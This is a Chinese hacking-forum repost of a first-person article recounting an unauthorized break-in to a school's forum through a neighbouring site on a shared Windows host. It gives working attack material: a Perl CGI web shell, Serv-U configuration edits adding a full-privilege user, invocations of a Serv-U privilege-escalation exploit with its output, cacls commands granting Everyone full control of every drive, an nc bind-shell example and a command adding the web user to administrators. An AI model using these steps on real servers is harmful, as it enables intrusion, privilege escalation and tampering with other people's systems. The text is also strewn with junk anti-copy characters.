找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1839|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 % T; Q5 o7 x4 l, {2 t: p* t- l- ?
本文作者:angel; l5 a7 B* o) q0 ~
文章性质:原创
8 h. }- N' K9 u+ w. t5 H发布日期:2004-11-09   Q4 x* x" U( Q, u; h; ?3 _
注意:  F5 B) E# D. J  J& X0 S
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
8 _/ G: z, X: Y- |- d) R) `9 R本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。& `( c4 ?8 T- G) [* A8 D1 Y
) Z7 V) u9 r1 J
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 , q1 c1 l; Q, \5 f: x6 ^/ F4 Y

0 M- U4 l  b8 O% B! @4 Y7 T  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ! i0 \4 S2 |4 Q9 w
, G/ ?7 n7 t  D! x# R
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 : x$ U  E" T% }/ |3 A1 T6 w

$ J1 H0 d( y9 S' E  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
" q8 S  P( G( u
9 K$ v. A% q: w7 c. X4 j* `  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
% _* h  a/ M5 `8 K% W  k
5 \# A3 y/ ]# u- G: J! i2 M& h3 K  没有目的的跳转目录着……
: I0 P1 Z% g% s7 h2 j! P5 W' O6 A( \/ Y+ `6 X/ \  Q
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… % B  l$ o9 L6 P: T) o

  e3 O" ?6 c5 \: q. t1 L  结束了吗?不,我试着 FTP 一下: ( `, a& ~* x" R3 L
2 s. ?0 x9 F: Q+ ]
Microsoft Windows 2000 [Version 5.00.2195]: {1 T) [6 E( d0 {4 C  [
(C) 版权所有 1985-2000 Microsoft Corp.
9 E1 i6 ^9 l* G9 \
- d+ d9 k! d" F0 w2 i+ {' R# YC:\Documents and Settings\Administrator>ftp www.school.com9 k+ C( v4 m0 E* O7 Y. Q. I0 K: V$ c
Connected to www. school.com. 6 R1 a5 H# [$ S; z" x: i2 {
220 Welcome to FTP Server...
0 [0 B, r8 p) K' DUser (www.bjtrq.com:(none)):
$ ]% n: Q, a( ^4 F- j- A: G' o+ K331 User name okay, need password.
; @. T9 }6 V/ J; j  Q5 g  a4 LPassword:   ]% o5 L, @% Q. X4 z& }. k
530 Not logged in. ' z, u" J% V8 R( W
Login failed.
- A  z. R% |! H7 i* Mftp> bye ) F/ s7 `# r9 f$ {1 I
221 Goodbye! * h( S, R$ a2 v& Q1 e  L" @4 h

3 W) O( i' g* o" o2 @; G7 ?4 g1 z3 F  e  u& H# `
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
/ r% G4 E1 M2 \4 n) n7 s  d' o% [# U; j9 `, O; L% D! m
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
3 ^' l# ~9 r1 |" Z! }0 G: V1 _+ N0 n/ _+ t, B2 f
Application Data
4 X& ]% J0 ]2 w3 G; hDocuments6 a3 G; D& f- M. p+ W3 X
DRM) }1 S, M# V; Y% O" [# c
Favorites
& {* ~9 M6 |3 ?* M4 |' J# P0 zTemplates5 X! [  r7 {  {& |4 i% |, @
「开始」菜单
8 l" _" K6 \) r0 }桌面
& n* }3 S  Z" y, q; q
% p- V1 i1 V- u% h. O0 g! j! F& k# I- j
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
, T1 N* w& A  h  P) w, j
$ G3 b: D0 Z, m# E6 _1 D1 P) t/ eActiveState ActivePerl 5.8" Z' w1 l- _, u3 p8 }1 s
Administrative Tools8 _, b  m* [+ {5 Y% F; V
Deerfield.com
) V1 L1 m( V, Q  E# ?DTemp
( j, f# E% n# }; p# [! V# R/ G1 PIPSentry* a& }1 ]8 N- Q# S6 O% @$ T* Y
MBM 5+ _# e" Y+ i3 B2 b" S2 V% h
NetMeter4 \7 G9 r; A, N" V2 R
Network ICE
) m$ p  g# Y8 wPersits Software AspEmail
& K# O; W6 x/ F) }/ A9 WPersits Software AspJpeg
& [% K" \2 B9 }8 uServ-U FTP Server, f% u. a9 b. d" _7 E+ J
Symantec Client Security2 `( r7 k4 Z8 Q0 t5 T
Windows 优化大师& R$ K6 }) O2 M" T" v) G6 c7 i
WinRAR( L9 T2 C$ q4 E( w
启动
0 }8 |, C7 w. h- d, B) f5 c管理工具
( X2 f7 P" d. G: S$ m; D附件
' j3 X8 @$ c4 A, L0 [2 Z9 t( z& z
2 r8 E( m+ [% B  D! N2 j! w
! ~; ]/ t7 s3 `  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 6 L% [2 z) k, K1 d* x

9 [7 g% u) D1 w( V9 l  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
: Q' q% \% c  h* {
4 D+ t8 \( u6 Z3 m  W0 {, Y; }User281=angel|1|0 $ u8 |0 R$ h! c- U0 `7 X
1 S/ A- w5 z+ E, C4 s7 \* P

- o. A$ v  O# |  m" X; F. E  然后加上 / G8 m1 \, c) G. {6 A& c

% f1 b- s# A. B- v[USER=angel|1]
7 ^, _# \% _; K9 s( e3 BPassword=ng98F85379EA68DBF97BAADCA99B69B8052 Z0 c1 s  O1 l6 P7 X* d9 ?- s8 Y. P+ N
HomeDir=D:\websites
! v4 ?0 `! A# u% o3 z" n4 [RelPaths=1
9 V$ [/ n* q& \; hTimeOut=600, {$ o, [0 [9 R7 n& K" T$ o
Maintenance=System: H5 _' X! l3 L- `
Access1=D:\websites|RWAMELCDP
% H6 T, S, M8 sSKEYValues=6 A% V: G8 P# g: Q7 _* \

" B4 d) n% M4 C/ A0 h. d' a6 j/ K5 P  R: L: v9 g* `; K' ~
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… * {4 Y7 H' F1 z

2 X- V6 A7 X2 ^% c' v. H8 h  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 % B' ^9 v% b2 ]4 I! L5 v- [

. s- e9 P, m2 |$ i  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 . T# e4 ^7 @' t' P

! Z- T: G% J( {, G  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: " j, x4 k2 r4 {* v) g& h6 F0 a) i

& H1 y- t! ^# k$ X#!/usr/bin/perl! K) G2 O9 s3 Y' H
binmode(STDOUT);
& d& h4 t6 `1 U- E8 F: Xsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
3 p. l( F1 z- X. f# r$_ = $ENV{QUERY_STRING};
% z+ r. d0 c0 ~5 D3 zs/%20/ /ig;: O" i! i; s  f5 M0 q( w. c
s/%2f/\//ig;% a0 p* |- `+ f
$execthis = $_;
3 w) w$ R: x6 v( h7 X$ o% E1 G  Usyswrite(STDOUT, "<HTML><PRE>\r\n", 13);( R2 P1 w+ v) j. _
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
& i( y7 E7 ]( Z% m3 [system($execthis);( m" c7 @3 S" h- y
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);' Y9 Z; w7 T* o: b0 f
close(STDERR);
0 s7 f/ j& V; f: Qclose(STDOUT);
  V, ~& U* _. D6 x' w3 \exit;2 I! H3 p0 ^! E; T0 P& g
6 i$ j5 [7 Y5 d$ M  I3 V

6 w& V% C8 [! ]0 I  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
: Q8 h! @/ ~8 r: K0 x
/ M4 I2 n0 X, |6 ]9 O: T0 a  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
: t) `+ n. l& O) r( g4 U- ^4 c. S. H; c7 G& {7 p" |
http://anyhost//cmd.pl?d:\user\bin\su.exe * L' @4 X" B, h- C+ I$ M% R. {

: R) M0 O' `/ t3 H0 X" M6 W+ \$ X5 n& [9 z3 v" }
  返回:
$ q* l0 f& x7 `; f
+ n/ ~8 m" m2 M3 y! ^( n& n  vServ-u >3.x Local Exploit by xiaolu , o9 [. A$ D6 L4 y9 T+ r5 k$ d
: |5 W! D4 o$ Z
USAGE: serv-u.exe "command"
7 U2 W0 q$ p( ?4 S. W% B- p
" Y6 L3 x9 p) w* mExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" $ b2 J3 w$ }4 P& |
, g8 l) G( ^( J! |
) w0 W; o8 t& [- |5 T9 p
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
( A! M' s2 s" F$ h  K& J
* U* W7 A- R9 Z, ^3 xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
( L* a# _: W. f6 x8 n- O* [- N$ A# b' u! Q9 b
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
0 L& Y* C  U: n
6 m5 |  C( ]0 s' }http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
7 o7 G* F- B. n. G% i3 Y- \4 x) ], f
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 4 @9 H/ }+ Y2 L* b9 H
+ b' S- h2 Q3 f; y0 }
9 Z) g' t. A7 v0 ~
  返回下面的信息,就表示成功了!!!
; c7 z2 o8 D* l6 l3 d. D3 t4 \# o6 l, y
Serv-u >3.x Local Exploit by xiaolu
' @8 F( a1 E/ F4 V& s0 p/ B  S5 C+ ~1 w6 ^4 o3 k
<220 Serv-U FTP Server v5.2 for WinSock ready... / G+ j2 z2 x1 }' Y/ W% M6 v& s
/ J  [$ j, P" @7 q" b
>USER LocalAdministrator % o) K6 D7 [) e
0 @/ b. S% _$ H) _: L- ^/ k3 F) d
<331 User name okay, need password. % w- K3 ?1 n+ |% ]
4 F. \2 s: V1 ]
******************************************************
- d8 P; r6 N9 J6 \8 V4 C0 w2 x
$ g% Y  o( I0 k* ^6 y# ~1 |>PASS #l@$ak#.lk;0@P - l8 q  n; T* A3 Z( {0 ?/ E

8 u; L; L% B  i* J# U<230 User logged in, proceed. 4 ?! T9 C$ u. u: k
. _! W" \) Z. ]
******************************************************
# b) E. H6 P7 g6 {2 Q
+ t' l' I; d" M; R; e>SITE MAINTENANCE
* C$ j9 ?! F) X, ~6 f) e$ `
: p  P6 o0 k* V, z" R% S! E****************************************************** 8 N  x7 ~7 H0 u5 d* `" ~( `

( g/ N4 e. f4 Z6 D[+] Creating New Domain...
; N$ J1 _* m6 R# O$ o- L! w' t5 I, @. s5 ], N+ ~& F" m* Z
<200-DomainID=2 - Z, e( X' ?; z0 i, t* ?& ^
0 z; V' r3 B' i# ?5 ]. ~
<220 Domain settings saved
; S. T: R- y7 l& o' U* r7 O; }9 }/ f2 g3 n. I: N$ @
******************************************************
1 |' a+ L+ M8 z" W. k, J# k+ ~2 p+ g( a8 Z8 P: n4 Y" ?$ y# f
[+] Domain xl:2 Created * ]$ M1 l' Y2 [6 `, ~
% `: d" \- ]. K% G# F
[+] Creating Evil User 8 f4 F1 |, _7 B8 K: H3 X( P$ I5 c
/ v4 D+ W2 L4 C6 |" j' b9 k
<200-User=xl
/ U* C! |  ]: ~" j; I( v; U# ]/ x8 g( m5 z. p3 ^2 ~
200 User settings saved 0 R) \3 n, \  }0 E1 e

: Z9 U* \2 g- A" }****************************************************** 7 V5 W2 h: t/ J5 n

) v9 z5 j2 k% q. Z, Z* f) q[+] Now Exploiting... " t3 u7 P4 V0 a2 Q% s4 V# {; F
# v8 X. r3 u; A4 a6 S5 ^$ K. C
>USER xl
  {9 |6 F2 v! \( D: J, O4 b3 B) k' R3 o( `, _1 o
<331 User name okay, need password.
) t8 J6 ~( I! H7 g
" o- g0 @& v: }% u3 N) E8 {****************************************************** : c4 I  e. S1 Q% H

  I8 X5 t( _& Y5 y# D>PASS 111111 7 u3 y" }) t+ R8 |+ ^4 ^7 v7 t6 C
/ M  d7 f; N( r0 E# ^% M
<230 User logged in, proceed. / V! @. M  [- q$ `  T# |8 a3 U- w  P

% P0 ?$ N$ |1 c****************************************************** ! a" e8 c5 h# G( N

. f, j4 j# X- e3 w" C[+] Now Executing: cacls.exe c: /E /T /G everyone:F
" _8 h( C8 N* |$ e: m  ~
! S# g4 r6 w. d<220 Domain deleted
3 |+ I- r8 \1 N  ~8 _8 f& r2 q
% D4 p+ H8 `+ k% _' p% I' ^( e1 y+ m******************************************************
0 Y  C' X- h- K0 v. e; J- c 5 `2 R' r) `0 z8 V2 Z5 d* Y$ E# Z

( ^2 f/ c8 D3 r6 M6 ?7 K3 h  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
$ K( |# i4 o6 Z2 l* L1 l4 R& u, w, v" o$ e; E& Q" ]8 o
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ; V4 M# ]1 ~7 x4 F4 A( A5 [
: h- F" P% y- P3 n4 P" t

, H* r2 r) I; r0 A6 ~; i  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
! U8 b! R3 r9 K- v+ U, W& L
( S. m( m' w1 T% d( ^0 ^  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。7 f% z' G1 }! m# T0 R  y8 [
. H  ~: J" ]9 X8 J
  
& o3 [3 r4 ~% \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表